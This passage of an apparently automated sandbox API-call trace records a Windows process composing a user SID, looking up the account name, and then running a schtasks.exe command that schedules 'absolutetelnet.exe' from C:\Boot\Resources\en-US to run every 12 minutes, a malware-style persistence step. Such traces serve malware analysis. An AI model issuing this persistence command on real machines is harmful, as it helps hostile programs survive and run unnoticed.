(_Block=0x20abc281fa0) [0128.017] GetSidSubAuthority (pSid=0x20abc280d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x20abc280d30 [0128.017] _ultow (in: _Dest=0xeddecfcf, _Radix=-1036533088 | out: _Dest=0xeddecfcf) returned="3990802383" [0128.017] malloc (_Size=0x18) returned 0x20abc282080 [0128.017] malloc (_Size=0x18) returned 0x20abc281a80 [0128.017] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0128.017] SysStringLen (param_1="-") returned 0x1 [0128.017] memcpy (in: _Dst=0x20abba7e608, _Src=0x20abba7e428, _Size=0x28 | out: _Dst=0x20abba7e608) returned 0x20abba7e608 [0128.017] memcpy (in: _Dst=0x20abba7e62e, _Src=0x20abba88118, _Size=0x4 | out: _Dst=0x20abba7e62e) returned 0x20abba7e62e [0128.017] free (_Block=0x20abc281ee0) [0128.017] free (_Block=0x20abc282080) [0128.017] malloc (_Size=0x18) returned 0x20abc281ae0 [0128.017] malloc (_Size=0x18) returned 0x20abc281c80 [0128.018] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0128.018] SysStringLen (param_1="3990802383") returned 0xa [0128.018] memcpy (in: _Dst=0x20abba96358, _Src=0x20abba7e608, _Size=0x2a | out: _Dst=0x20abba96358) returned 0x20abba96358 [0128.018] memcpy (in: _Dst=0x20abba96380, _Src=0x20abba88118, _Size=0x16 | out: _Dst=0x20abba96380) returned 0x20abba96380 [0128.018] free (_Block=0x20abc281a80) [0128.018] free (_Block=0x20abc281ae0) [0128.018] GetSidSubAuthority (pSid=0x20abc280d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x20abc280d34 [0128.018] _ultow (in: _Dest=0x6bfcce57, _Radix=-1036533088 | out: _Dest=0x6bfcce57) returned="1811730007" [0128.018] malloc (_Size=0x18) returned 0x20abc281e40 [0128.018] malloc (_Size=0x18) returned 0x20abc281f60 [0128.018] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0128.018] SysStringLen (param_1="-") returned 0x1 [0128.018] memcpy (in: _Dst=0x20abba9cdb8, _Src=0x20abba96358, _Size=0x3e | out: _Dst=0x20abba9cdb8) returned 0x20abba9cdb8 [0128.018] memcpy (in: _Dst=0x20abba9cdf4, _Src=0x20abba88118, _Size=0x4 | out: _Dst=0x20abba9cdf4) returned 0x20abba9cdf4 [0128.018] free (_Block=0x20abc281c80) [0128.019] free (_Block=0x20abc281e40) [0128.019] malloc (_Size=0x18) returned 0x20abc281d40 [0128.019] malloc (_Size=0x18) returned 0x20abc2819e0 [0128.019] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0128.019] SysStringLen (param_1="1811730007") returned 0xa [0128.019] memcpy (in: _Dst=0x20abba96358, _Src=0x20abba9cdb8, _Size=0x40 | out: _Dst=0x20abba96358) returned 0x20abba96358 [0128.019] memcpy (in: _Dst=0x20abba96396, _Src=0x20abba88118, _Size=0x16 | out: _Dst=0x20abba96396) returned 0x20abba96396 [0128.019] free (_Block=0x20abc281f60) [0128.019] free (_Block=0x20abc281d40) [0128.019] GetSidSubAuthority (pSid=0x20abc280d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x20abc280d38 [0128.019] _ultow (in: _Dest=0x3e8, _Radix=-1036533088 | out: _Dest=0x3e8) returned="1000" [0128.019] malloc (_Size=0x18) returned 0x20abc281f20 [0128.019] malloc (_Size=0x18) returned 0x20abc281d20 [0128.019] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0128.019] SysStringLen (param_1="-") returned 0x1 [0128.020] memcpy (in: _Dst=0x20abba9cdb8, _Src=0x20abba96358, _Size=0x54 | out: _Dst=0x20abba9cdb8) returned 0x20abba9cdb8 [0128.020] memcpy (in: _Dst=0x20abba9ce0a, _Src=0x20abba88118, _Size=0x4 | out: _Dst=0x20abba9ce0a) returned 0x20abba9ce0a [0128.020] free (_Block=0x20abc2819e0) [0128.020] free (_Block=0x20abc281f20) [0128.020] malloc (_Size=0x18) returned 0x20abc281b40 [0128.020] malloc (_Size=0x18) returned 0x20abc281c40 [0128.020] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0128.020] SysStringLen (param_1="1000") returned 0x4 [0128.020] memcpy (in: _Dst=0x20abba96358, _Src=0x20abba9cdb8, _Size=0x56 | out: _Dst=0x20abba96358) returned 0x20abba96358 [0128.020] memcpy (in: _Dst=0x20abba963ac, _Src=0x20abba88118, _Size=0xa | out: _Dst=0x20abba963ac) returned 0x20abba963ac [0128.020] free (_Block=0x20abc281d20) [0128.020] free (_Block=0x20abc281b40) [0128.020] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0128.020] malloc (_Size=0x5e) returned 0x20abc2807d0 [0128.020] free (_Block=0x20abc281c40) [0128.021] malloc (_Size=0x18) returned 0x20abc282040 [0128.021] free (_Block=0x20abc2807d0) [0128.021] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc280d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460 | out: Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460) returned 0 [0128.023] GetLastError () returned 0x7a [0128.023] malloc (_Size=0x1a) returned 0x20abc2a9ca0 [0128.023] malloc (_Size=0xe) returned 0x20abc281c80 [0128.023] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc280d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x20abc2a9ca0, cchName=0x2dc237c370, ReferencedDomainName=0x20abc281c80, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460 | out: Name="RDhJ0CNFevzX", cchName=0x2dc237c370, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c460) returned 1 [0128.024] malloc (_Size=0x18) returned 0x20abc2819a0 [0128.024] malloc (_Size=0x18) returned 0x20abc281f20 [0128.024] free (_Block=0x20abc2a9ca0) [0128.025] free (_Block=0x20abc281c80) [0128.025] free (_Block=0x20abc2a9af0) [0128.025] free (_Block=0x20abc281f20) [0128.025] free (_Block=0x20abc2819a0) [0128.025] free (_Block=0x20abc282040) [0128.026] free (_Block=0x20abc280d10) [0128.027] malloc (_Size=0x48) returned 0x20abc285aa0 [0128.031] LoadLibraryExW (lpLibFileName="userenv.dll", hFile=0x0, dwFlags=0x0) returned 0x7ffb1bf30000 [0128.048] GetProcAddress (hModule=0x7ffb1bf30000, lpProcName="DestroyEnvironmentBlock") returned 0x7ffb1bf334a0 [0128.049] GetProcAddress (hModule=0x7ffb1bf30000, lpProcName="CreateEnvironmentBlock") returned 0x7ffb1bf334d0 [0128.049] malloc (_Size=0x18) returned 0x20abc281b20 [0128.049] CreateEnvironmentBlock () returned 0x1 [0128.065] malloc (_Size=0x18) returned 0x20abc281dc0 [0128.066] CreateProcessAsUserW (in: hToken=0x2f8, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"absolutetelneta\" /sc MINUTE /mo 12 /tr \"'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x20abbaa4300, lpCurrentDirectory=0x0, lpStartupInfo=0x2dc237c5d0*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2dc237c478 | out: lpCommandLine="schtasks.exe /create /tn \"absolutetelneta\" /sc MINUTE /mo 12 /tr \"'C:\\Boot\\Resources\\en-US\\absolutetelnet.exe'\" /f", lpProcessInformation=0x2dc237c478*(hProcess=0x300, hThread=0x310, dwProcessId=0x12cc, dwThreadId=0x12c4)) returned 1 [0128.091] CloseHandle (hObject=0x300) returned 1 [0128.091] CloseHandle (hObject=0x310) returned 1 [0128.092] free (_Block=0x20abc281dc0) [0128.092] DestroyEnvironmentBlock () returned 0x1 [0128.092] malloc (_Size=0x48) returned 0x20abc286220 [0128.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc237c450 | out: lpSystemTimeAsFileTime=0x2dc237c450*(dwLowDateTime=0x81df416, dwHighDateTime=0x1d9eb0c)) [0128.092] malloc (_Size=0x10) returned 0x20abc281ca0 [0128.093] SetEvent (hEvent=0x248) returned 1 [0128.093] CloseHandle (hObject=0x2d4) returned 1 [0128.093] CloseHandle (hObject=0x2f8) returned 1 [0128.127] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abba48270 [0128.127] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba48270, pulNumLanguages=0x2dc237dd50 | out: pulNumLanguages=0x2dc237dd50) returned 1 [0128.127] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48270) returned 1 [0128.128] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48260) returned 1 [0129.147] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0129.147] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237db80 | out: pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237db80) returned 1 [0129.147] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abba48260 [0129.148] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0129.148] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x20abba48260, pcchLanguagesBuffer=0x2dc237db80 | out: pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x20abba48260, pcchLanguagesBuffer=0x2dc237db80) returned 1 [0129.148] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abba48270 [0129.148] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48260) returned 1 [0129.148] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba66780 [0129.148] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba66780, pulNumLanguages=0x2dc237dc88 | out: pulNumLanguages=0x2dc237dc88) returned 1 [0129.148] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba66780) returned 1 [0129.151] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0129.152] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0129.152] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0129.152] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0129.153] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0129.156] GetCurrentThread () returned 0xfffffffffffffffe [0129.156] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x2dc237c510 | out: TokenHandle=0x2dc237c510*=0x270) returned 1 [0129.156] DuplicateTokenEx (in: hExistingToken=0x270, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x20a00000001, phNewToken=0x2dc237c528 | out: phNewToken=0x2dc237c528*=0x26c) returned 1 [0129.156] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x0, ReturnLength=0x2dc237c4b0) returned 0 [0129.156] GetLastError () returned 0x7a [0129.156] malloc (_Size=0x2c) returned 0x20abc281590 [0129.156] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x20abc281590, TokenInformationLength=0x2c, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x20abc281590, ReturnLength=0x2dc237c4b0) returned 1 [0129.156] IsValidSid (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0129.156] GetLengthSid (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0129.156] malloc (_Size=0x1c) returned 0x20abc2a9f40 [0129.156] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x20abc2a9f40, pSourceSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x20abc2a9f40*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0129.156] GetSidIdentifierAuthority (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc2815a2 [0129.156] malloc (_Size=0x18) returned 0x20abc282040 [0129.156] _ultow (in: _Dest=0x5, _Radix=-1036533088 | out: _Dest=0x5) returned="5" [0129.156] malloc (_Size=0x18) returned 0x20abc281a20 [0129.157] malloc (_Size=0x18) returned 0x20abc281aa0 [0129.157] SysStringLen (param_1="S-1-") returned 0x4 [0129.157] SysStringLen (param_1="5") returned 0x1 [0129.157] memcpy (in: _Dst=0x20abba6ab08, _Src=0x20abba6a868, _Size=0xa | out: _Dst=0x20abba6ab08) returned 0x20abba6ab08 [0129.157] memcpy (in: _Dst=0x20abba6ab10, _Src=0x20abba6a688, _Size=0x4 | out: _Dst=0x20abba6ab10) returned 0x20abba6ab10 [0129.157] free (_Block=0x20abc282040) [0129.157] free (_Block=0x20abc281a20) [0129.157] GetSidSubAuthorityCount (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc2815a1 [0129.157] GetSidSubAuthority (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x20abc2815a8 [0129.157] _ultow (in: _Dest=0x15, _Radix=-1036533088 | out: _Dest=0x15) returned="21" [0129.157] malloc (_Size=0x18) returned 0x20abc281de0 [0129.157] malloc (_Size=0x18) returned 0x20abc281f00 [0129.157] SysStringLen (param_1="S-1-5") returned 0x5 [0129.157] SysStringLen (param_1="-") returned 0x1 [0129.157] memcpy (in: _Dst=0x20abba6a688, _Src=0x20abba6ab08, _Size=0xc | out: _Dst=0x20abba6a688) returned 0x20abba6a688 [0129.157] memcpy (in: _Dst=0x20abba6a692, _Src=0x20abba6a868, _Size=0x4 | out: _Dst=0x20abba6a692) returned 0x20abba6a692 [0129.157] free (_Block=0x20abc281aa0) [0129.158] free (_Block=0x20abc281de0) [0129.158] malloc (_Size=0x18) returned 0x20abc281d00 [0129.158] malloc (_Size=0x18) returned 0x20abc2819a0 [0129.158] SysStringLen (param_1="S-1-5-") returned 0x6 [0129.158] SysStringLen (param_1="21") returned 0x2 [0129.158] memcpy (in: _Dst=0x20abba6a868, _Src=0x20abba6a688, _Size=0xe | out: _Dst=0x20abba6a868) returned 0x20abba6a868 [0129.158] memcpy (in: _Dst=0x20abba6a874, _Src=0x20abba6ab08, _Size=0x6 | out: _Dst=0x20abba6a874) returned 0x20abba6a874 [0129.158] free (_Block=0x20abc281f00) [0129.158] free (_Block=0x20abc281d00) [0129.158] GetSidSubAuthority (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x20abc2815ac [0129.158] _ultow (in: _Dest=0x5cffa865, _Radix=-1036533088 | out: _Dest=0x5cffa865) returned="1560258661" [0129.158] malloc (_Size=0x18) returned 0x20abc281ee0 [0129.158] malloc (_Size=0x18) returned 0x20abc281ce0 [0129.158] SysStringLen (param_1="S-1-5-21") returned 0x8 [0129.158] SysStringLen (param_1="-") returned 0x1 [0129.158] memcpy (in: _Dst=0x20abba6ab08, _Src=0x20abba6a868, _Size=0x12 | out: _Dst=0x20abba6ab08) returned 0x20abba6ab08 [0129.158] memcpy (in: _Dst=0x20abba6ab18, _Src=0x20abba6a688, _Size=0x4 | out: _Dst=0x20abba6ab18) returned 0x20abba6ab18 [0129.158] free (_Block=0x20abc2819a0) [0129.158] free (_Block=0x20abc281ee0) [0129.159] malloc (_Size=0x18) returned 0x20abc281b00 [0129.159] malloc (_Size=0x18) returned 0x20abc281c00 [0129.159] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0129.159] SysStringLen (param_1="1560258661") returned 0xa [0129.159] memcpy (in: _Dst=0x20abba62fa8, _Src=0x20abba6ab08, _Size=0x14 | out: _Dst=0x20abba62fa8) returned 0x20abba62fa8 [0129.159] memcpy (in: _Dst=0x20abba62fba, _Src=0x20abba6a868, _Size=0x16 | out: _Dst=0x20abba62fba) returned 0x20abba62fba [0129.159] free (_Block=0x20abc281ce0) [0129.159] free (_Block=0x20abc281b00) [0129.159] GetSidSubAuthority (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x20abc2815b0 [0129.159] _ultow (in: _Dest=0xeddecfcf, _Radix=-1036533088 | out: _Dest=0xeddecfcf) returned="3990802383" [0129.159] malloc (_Size=0x18) returned 0x20abc281c80 [0129.159] malloc (_Size=0x18) returned 0x20abc282000 [0129.159] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0129.159] SysStringLen (param_1="-") returned 0x1 [0129.159] memcpy (in: _Dst=0x20abba63098, _Src=0x20abba62fa8, _Size=0x28 | out: _Dst=0x20abba63098) returned 0x20abba63098 [0129.159] memcpy (in: _Dst=0x20abba630be, _Src=0x20abba6ab08, _Size=0x4 | out: _Dst=0x20abba630be) returned 0x20abba630be [0129.159] free (_Block=0x20abc281c00) [0129.160] free (_Block=0x20abc281c80) [0129.160] malloc (_Size=0x18) returned 0x20abc281ee0 [0129.160] malloc (_Size=0x18) returned 0x20abc281f80 [0129.160] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0129.160] SysStringLen (param_1="3990802383") returned 0xa [0129.160] memcpy (in: _Dst=0x20abba7b778, _Src=0x20abba63098, _Size=0x2a | out: _Dst=0x20abba7b778) returned 0x20abba7b778 [0129.160] memcpy (in: _Dst=0x20abba7b7a0, _Src=0x20abba6ab08, _Size=0x16 | out: _Dst=0x20abba7b7a0) returned 0x20abba7b7a0 [0129.160] free (_Block=0x20abc282000) [0129.160] free (_Block=0x20abc281ee0) [0129.160] GetSidSubAuthority (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x20abc2815b4 [0129.160] _ultow (in: _Dest=0x6bfcce57, _Radix=-1036533088 | out: _Dest=0x6bfcce57) returned="1811730007" [0129.160] malloc (_Size=0x18) returned 0x20abc281ba0 [0129.160] malloc (_Size=0x18) returned 0x20abc281d80 [0129.160] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0129.160] SysStringLen (param_1="-") returned 0x1 [0129.160] memcpy (in: _Dst=0x20abba7a238, _Src=0x20abba7b778, _Size=0x3e | out: _Dst=0x20abba7a238) returned 0x20abba7a238 [0129.160] memcpy (in: _Dst=0x20abba7a274, _Src=0x20abba6ab08, _Size=0x4 | out: _Dst=0x20abba7a274) returned 0x20abba7a274 [0129.160] free (_Block=0x20abc281f80) [0129.161] free (_Block=0x20abc281ba0) [0129.161] malloc (_Size=0x18) returned 0x20abc281ce0 [0129.161] malloc (_Size=0x18) returned 0x20abc281960 [0129.161] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0129.161] SysStringLen (param_1="1811730007") returned 0xa [0129.161] memcpy (in: _Dst=0x20abba7b778, _Src=0x20abba7a238, _Size=0x40 | out: _Dst=0x20abba7b778) returned 0x20abba7b778 [0129.161] memcpy (in: _Dst=0x20abba7b7b6, _Src=0x20abba6ab08, _Size=0x16 | out: _Dst=0x20abba7b7b6) returned 0x20abba7b7b6 [0129.161] free (_Block=0x20abc281d80) [0129.161] free (_Block=0x20abc281ce0) [0129.161] GetSidSubAuthority (pSid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x20abc2815b8 [0129.161] _ultow (in: _Dest=0x3e8, _Radix=-1036533088 | out: _Dest=0x3e8) returned="1000" [0129.161] malloc (_Size=0x18) returned 0x20abc2819a0 [0129.161] malloc (_Size=0x18) returned 0x20abc281a80 [0129.161] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0129.161] SysStringLen (param_1="-") returned 0x1 [0129.161] memcpy (in: _Dst=0x20abba7a238, _Src=0x20abba7b778, _Size=0x54 | out: _Dst=0x20abba7a238) returned 0x20abba7a238 [0129.161] memcpy (in: _Dst=0x20abba7a28a, _Src=0x20abba6ab08, _Size=0x4 | out: _Dst=0x20abba7a28a) returned 0x20abba7a28a [0129.161] free (_Block=0x20abc281960) [0129.162] free (_Block=0x20abc2819a0) [0129.162] malloc (_Size=0x18) returned 0x20abc281c80 [0129.162] malloc (_Size=0x18) returned 0x20abc2819a0 [0129.162] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0129.162] SysStringLen (param_1="1000") returned 0x4 [0129.162] memcpy (in: _Dst=0x20abba7b778, _Src=0x20abba7a238, _Size=0x56 | out: _Dst=0x20abba7b778) returned 0x20abba7b778 [0129.162] memcpy (in: _Dst=0x20abba7b7cc, _Src=0x20abba6ab08, _Size=0xa | out: _Dst=0x20abba7b7cc) returned 0x20abba7b7cc [0129.162] free (_Block=0x20abc281a80) [0129.162] free (_Block=0x20abc281c80) [0129.162] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0129.162] malloc (_Size=0x5e) returned 0x20abc280370 [0129.162] free (_Block=0x20abc2819a0) [0129.162] malloc (_Size=0x18) returned 0x20abc282040 [0129.163] free (_Block=0x20abc280370) [0129.220] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468 | out: Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468) returned 0 [0129.285] GetLastError () returned 0x7a [0129.285] malloc (_Size=0x1a) returned 0x20abc2aa120 [0129.287] malloc (_Size=0xe) returned 0x20abc281d60 [0129.288] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc2815a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x20abc2aa120, cchName=0x2dc237c370, ReferencedDomainName=0x20abc281d60, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468 | out: Name="RDhJ0CNFevzX", cchName=0x2dc237c370, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468) returned 1 [0129.290] malloc (_Size=0x18) returned 0x20abc282080 [0129.290] malloc (_Size=0x18) returned 0x20abc281a80 [0129.290] free (_Block=0x20abc2aa120) [0129.290] free (_Block=0x20abc281d60) [0129.290] free (_Block=0x20abc2a9f40) [0129.290] free (_Block=0x20abc281a80) [0129.290] free (_Block=0x20abc282080) [0129.290] free (_Block=0x20abc282040) [0129.291] free (_Block=0x20abc281590) [0129.291] GetVersionExW (in: lpVersionInformation=0x2dc237c640*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x2d, dwMinorVersion=0xbba85138, dwBuildNumber=0x20a, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x2dc237c640*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0129.291] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x0, ReturnLength=0x2dc237c4b0) returned 0 [0129.291] GetLastError () returned 0x7a [0129.291] malloc (_Size=0x2c) returned 0x20abc281110 [0129.291] GetTokenInformation (in: TokenHandle=0x270, TokenInformationClass=0x1, TokenInformation=0x20abc281110, TokenInformationLength=0x2c, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x20abc281110, ReturnLength=0x2dc237c4b0) returned 1 [0129.291] IsValidSid (pSid=0x20abc281120*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0129.292] GetLengthSid (pSid=0x20abc281120*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0129.292] malloc (_Size=0x1c) returned 0x20abc2a9b50 [0129.292] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x20abc2a9b50, pSourceSid=0x20abc281120*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, 